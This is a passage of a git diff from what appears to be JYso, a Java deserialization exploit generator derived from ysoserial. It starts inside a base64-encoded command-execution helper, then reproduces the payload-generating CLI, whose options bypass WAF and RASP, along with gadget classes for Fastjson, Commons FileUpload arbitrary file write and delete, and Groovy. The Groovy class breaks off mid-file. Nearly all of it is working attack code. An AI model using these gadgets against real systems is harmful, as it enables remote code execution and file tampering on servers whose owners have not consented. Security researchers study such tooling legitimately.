hwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCQlpbnQgICAgb3JkaW5hbCAgICAgICAgICAgICAgID0gamF2YS5sYW5nLkludGVnZXIucGFyc2VJbnQoZ2V0TWV0aG9kQW5kSW52b2tlKGxhdW5jaE1lY2hhbmlzbU9iamVjdCwgIm9yZGluYWwiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJmb3JrQW5kRXhlYyIsIG5ldyBDbGFzc1tde2ludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnRbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCB0b0NTdHJpbmcoY21kc1swXSksIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJamF2YS5pby5GaWxlRGVzY3JpcHRvciBzdGRvdXRfZmQgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYm9vbGVhbi5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30sCgkJCQkJCQkJbmV3IE9iamVjdFtde3RvQ1N0cmluZyhjbWRzWzBdKSwgYXJnQmxvY2ssIEludGVnZXIudmFsdWVPZihhcmdzLmxlbmd0aCksIG51bGwsIEludGVnZXIudmFsdWVPZigxKSwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCXRyeSB7CgkJCQkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICAgICAgICBkY2lzQ2xhc3MgICA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyREZWZlcnJlZENsb3NlSW5wdXRTdHJlYW0iKTsKCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSgoamF2YS5pby5JbnB1dFN0cmVhbSkgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde3N0ZG91dF9mZH0pKSk7CgkJCQkJCX1jYXRjaCAoRXhjZXB0aW9uIG5ldmVyTWluZCl7CgkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0obmV3IGphdmEuaW8uRmlsZUlucHV0U3RyZWFtKHN0ZG91dF9mZCkpKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCWphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSAoamF2YS5pby5JbnB1dFN0cmVhbSkgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQkJaW50ICAgICAgICAgICAgICAgICBhICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgIGIgID0gbmV3IGJ5dGVbMTAyNF07CgkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCWJhb3Mud3JpdGUoYiwgMCwgYSk7CgkJCQl9CgkJCQlyZXR1cm4gYmFvczsKCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiBudWxsOwoJfQ=="; + + // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() + public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java index 3e93b9f..b342c44 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java @@ -1,191 +1,191 @@ -package com.qi4l.JYso.gadgets.Config; - -import com.qi4l.JYso.gadgets.ObjectPayload; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Serializer; -import com.qi4l.JYso.gadgets.utils.StringUtil; -import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; -import org.apache.commons.cli.*; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.ByteArrayOutputStream; -import java.io.OutputStream; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.*; - -import static com.qi4l.JYso.gadgets.Config.Config.logo; -import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; - -public class ysoserial { - - private static final Logger log = LogManager.getLogger(ysoserial.class); - public static CommandLine cmdLine; - public static Object PAYLOAD = null; - - public static void run(String[] args) { - final Options options = getOptions(); - - CommandLineParser parser = new DefaultParser(); - - if (args.length == 1) { - printUsage(options); - System.exit(1); - } - - try { - cmdLine = parser.parse(options, args); - } catch (Exception e) { - System.out.println("[*] Parameter input error, please use -h for more information"); - printUsage(options); - System.exit(1); - } - - if (cmdLine.hasOption("inherit")) { - Config.IS_INHERIT_ABSTRACT_TRANSLET = true; - } - - if (cmdLine.hasOption("obscure")) { - Config.IS_OBSCURE = true; - } - - if (cmdLine.hasOption("define-class-from-parameter")) { - Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); - } - - if (cmdLine.hasOption("file")) { - Config.WRITE_FILE = true; - Config.FILE = cmdLine.getOptionValue("file"); - } - - if (cmdLine.hasOption("base64")) { - Config.BASE64 = true; - } - - if (cmdLine.hasOption("no-com-sun")) { - Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; - } - - if (cmdLine.hasOption("mozilla-class-loader")) { - Config.USING_MOZILLA_DEFININGCLASSLOADER = true; - } - - if (cmdLine.hasOption("rhino")) { - Config.USING_RHINO = true; - } - - if (cmdLine.hasOption("utf8-Overlong-Encoding")) { - Config.IS_UTF_Bypass = true; - } - - final String payloadType = cmdLine.getOptionValue("gadget"); - final String command = cmdLine.getOptionValue("parameters"); - //载入gadget - final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); - if (payloadClass == null) { - System.err.println("Invalid payload type '" + payloadType + "'"); - printUsage(options); - System.exit(1); - return; - } - - - try { - //载入payload - ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject(command); - - // 是否指定混淆 - if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { - int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); - int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); - object = new DirtyDataWrapper(object, type, length).doWrap(); - } - - // 储存生成的 payload - PAYLOAD = object; - if (isFromExploit()) { - return; - } - - OutputStream out; - - if (Config.WRITE_FILE) { - out = Files.newOutputStream(Paths.get(Config.FILE)); - } else if(Config.BASE64) { - out = new ByteArrayOutputStream(); - } else { - out = System.out; - } - Serializer.qi_serialize(object, out); - ObjectPayload.Utils.releasePayload(payload, object); - out.flush(); - out.close(); - } catch (Throwable e) { - System.err.println("Error while generating or serializing payload"); - log.error(String.valueOf(e)); - System.exit(1); - } - System.exit(0); - } - - public static Options getOptions() { - Options options = new Options(); - options.addOption("y", "ysoserial", false, "Java deserialization"); - options.addOption("g", "gadget", true, "Java deserialization gadget"); - options.addOption("p", "parameters", true, "Gadget parameters"); - options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); - options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); - options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); - options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); - options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); - options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); - options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); - options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); - options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); - options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); - options.addOption("b64", "base64", false, "base64 encoding"); - return options; - } - - private static void printUsage(Options options) { - logo(); - System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]"); - System.err.println("[root]#~ Available payload types:"); - - final List>> payloadClasses = - new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); - payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize - - final List rows = new LinkedList<>(); - rows.add(new String[]{"Payload", "Authors", "Dependencies"}); - rows.add(new String[]{"-------", "-------", "------------"}); - for (Class> payloadClass : payloadClasses) { - rows.add(new String[]{ - payloadClass.getSimpleName(), - StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), - StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") - }); - } - - final List lines = StringUtil.formatTable(rows); - - for (String line : lines) { - System.err.println(" " + line); - } - - System.err.println("\r\n"); - HelpFormatter helpFormatter = new HelpFormatter(); - helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth())); - helpFormatter.printHelp("JYso-[version].jar", options, true); - - System.err.println("\r\n"); - System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser"); - System.err.println("If you want your payload being extremely short,you could just use:"); - System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser"); - System.exit(0); - } - -} +package com.qi4l.JYso.gadgets.Config; + +import com.qi4l.JYso.gadgets.ObjectPayload; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Serializer; +import com.qi4l.JYso.gadgets.utils.StringUtil; +import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; +import org.apache.commons.cli.*; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.ByteArrayOutputStream; +import java.io.OutputStream; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.*; + +import static com.qi4l.JYso.gadgets.Config.Config.logo; +import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; + +public class ysoserial { + + private static final Logger log = LogManager.getLogger(ysoserial.class); + public static CommandLine cmdLine; + public static Object PAYLOAD = null; + + public static void run(String[] args) { + final Options options = getOptions(); + + CommandLineParser parser = new DefaultParser(); + + if (args.length == 1) { + printUsage(options); + System.exit(1); + } + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + printUsage(options); + System.exit(1); + } + + if (cmdLine.hasOption("inherit")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + } + + if (cmdLine.hasOption("define-class-from-parameter")) { + Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); + } + + if (cmdLine.hasOption("file")) { + Config.WRITE_FILE = true; + Config.FILE = cmdLine.getOptionValue("file"); + } + + if (cmdLine.hasOption("base64")) { + Config.BASE64 = true; + } + + if (cmdLine.hasOption("no-com-sun")) { + Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; + } + + if (cmdLine.hasOption("mozilla-class-loader")) { + Config.USING_MOZILLA_DEFININGCLASSLOADER = true; + } + + if (cmdLine.hasOption("rhino")) { + Config.USING_RHINO = true; + } + + if (cmdLine.hasOption("utf8-Overlong-Encoding")) { + Config.IS_UTF_Bypass = true; + } + + final String payloadType = cmdLine.getOptionValue("gadget"); + final String command = cmdLine.getOptionValue("parameters"); + //载入gadget + final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(options); + System.exit(1); + return; + } + + + try { + //载入payload + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(command); + + // 是否指定混淆 + if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { + int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); + int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); + object = new DirtyDataWrapper(object, type, length).doWrap(); + } + + // 储存生成的 payload + PAYLOAD = object; + if (isFromExploit()) { + return; + } + + OutputStream out; + + if (Config.WRITE_FILE) { + out = Files.newOutputStream(Paths.get(Config.FILE)); + } else if(Config.BASE64) { + out = new ByteArrayOutputStream(); + } else { + out = System.out; + } + Serializer.qi_serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); + out.flush(); + out.close(); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + log.error(String.valueOf(e)); + System.exit(1); + } + System.exit(0); + } + + public static Options getOptions() { + Options options = new Options(); + options.addOption("y", "ysoserial", false, "Java deserialization"); + options.addOption("g", "gadget", true, "Java deserialization gadget"); + options.addOption("p", "parameters", true, "Gadget parameters"); + options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); + options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); + options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); + options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); + options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); + options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); + options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); + options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); + options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); + options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); + options.addOption("b64", "base64", false, "base64 encoding"); + return options; + } + + private static void printUsage(Options options) { + logo(); + System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]"); + System.err.println("[root]#~ Available payload types:"); + + final List>> payloadClasses = + new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); + payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize + + final List rows = new LinkedList<>(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class> payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = StringUtil.formatTable(rows); + + for (String line : lines) { + System.err.println(" " + line); + } + + System.err.println("\r\n"); + HelpFormatter helpFormatter = new HelpFormatter(); + helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth())); + helpFormatter.printHelp("JYso-[version].jar", options, true); + + System.err.println("\r\n"); + System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser"); + System.err.println("If you want your payload being extremely short,you could just use:"); + System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser"); + System.exit(0); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java index dfe03fa..8404df5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java @@ -1,45 +1,45 @@ -package com.qi4l.JYso.gadgets; - -import com.alibaba.fastjson.JSONArray; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtConstructor; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; -import java.util.HashMap; - - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class Fastjson1 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - ClassPool pool = ClassPool.getDefault(); - CtClass clazz = pool.makeClass("a"); - CtClass superClass = pool.get(AbstractTranslet.class.getName()); - clazz.setSuperclass(superClass); - CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); - constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); - clazz.addConstructor(constructor); - Object templates = Gadgets.createTemplatesImpl(command); - - return getFastjsonSink(templates); - } - - static Object getFastjsonSink(Object templates) throws Exception { - JSONArray jsonArray = new JSONArray(); - jsonArray.add(templates); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, jsonArray); - - HashMap hashMap = new HashMap(); - hashMap.put(templates, val); - - return hashMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class Fastjson1 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.makeClass("a"); + CtClass superClass = pool.get(AbstractTranslet.class.getName()); + clazz.setSuperclass(superClass); + CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); + constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); + clazz.addConstructor(constructor); + Object templates = Gadgets.createTemplatesImpl(command); + + return getFastjsonSink(templates); + } + + static Object getFastjsonSink(Object templates) throws Exception { + JSONArray jsonArray = new JSONArray(); + jsonArray.add(templates); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(templates, val); + + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java index 977c916..d969b2e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java @@ -1,70 +1,70 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.codec.binary.Base64; -import org.apache.commons.fileupload.disk.DiskFileItem; -import org.apache.commons.io.output.DeferredFileOutputStream; -import org.apache.commons.io.output.ThresholdingOutputStream; - -import java.io.File; -import java.io.OutputStream; -import java.nio.charset.StandardCharsets; -import java.util.Arrays; - -@SuppressWarnings({"unused"}) -public class FileUpload1 implements ReleaseableObjectPayload { - private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception { - return makePayload(0, copyTo, copyAndDelete, new byte[1]); - } - - // writes data to a random filename (update__.tmp) - private static DiskFileItem write(String dir, byte[] data) throws Exception { - return makePayload(data.length + 1, dir, dir + "/whatever", data); - } - - // writes data to an arbitrary file - private static DiskFileItem writePre131(String file, byte[] data) throws Exception { - return makePayload(data.length + 1, file + "\0", file, data); - } - - public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { - // if thresh < written length, delete outputFile after copying to repository temp file - // otherwise write the contents to repository temp file - File repository = new File(repoPath); - DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); - File outputFile = new File(filePath); - DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); - OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); - os.write(data); - Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); - Reflections.setFieldValue(diskFileItem, "dfos", dfos); - Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); - return diskFileItem; - } - - @Override - public DiskFileItem getObject(String command) throws Exception { - - String[] parts = command.split(";"); - - if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { - return copyAndDelete(parts[1], parts[2]); - } else if (parts.length == 3 && "write".equals(parts[0])) { - return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); - } else if (parts.length == 3 && "writeB64".equals(parts[0])) { - return write(parts[1], Base64.decodeBase64(parts[2])); - } else if (parts.length == 3 && "writeOld".equals(parts[0])) { - return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); - } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { - return writePre131(parts[1], Base64.decodeBase64(parts[2])); - } else { - throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); - } - } - - public void release(Object obj) throws Exception { - // otherwise the finalizer deletes the file - DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); - Reflections.setFieldValue(obj, "dfos", dfos); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import java.io.File; +import java.io.OutputStream; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; + +@SuppressWarnings({"unused"}) +public class FileUpload1 implements ReleaseableObjectPayload { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writePre131(String file, byte[] data) throws Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + @Override + public DiskFileItem getObject(String command) throws Exception { + + String[] parts = command.split(";"); + + if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if (parts.length == 3 && "write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); + } else if (parts.length == 3 && "writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if (parts.length == 3 && "writeOld".equals(parts[0])) { + return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); + } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { + return writePre131(parts[1], Base64.decodeBase64(parts[2])); + } else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + public void release(Object obj) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java index 284c2d2..a899f93 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java @@ -1,26 +1,26 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import org.codehaus.groovy.runtime.ConvertedClosure; -import org.codehaus.groovy.runtime.MethodClosure; - -import java.lang.reflect.InvocationHandler; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) -@Authors({Authors.FROHOFF}) -public class Groovy1 implements ObjectPayload { - - public InvocationHandler getObject(final String command) throws Exception { - final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); - - final Map map = createProxy(closure, Map.class); - - return Gadgets.createMemoizedInvocationHandler(map); - } +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import 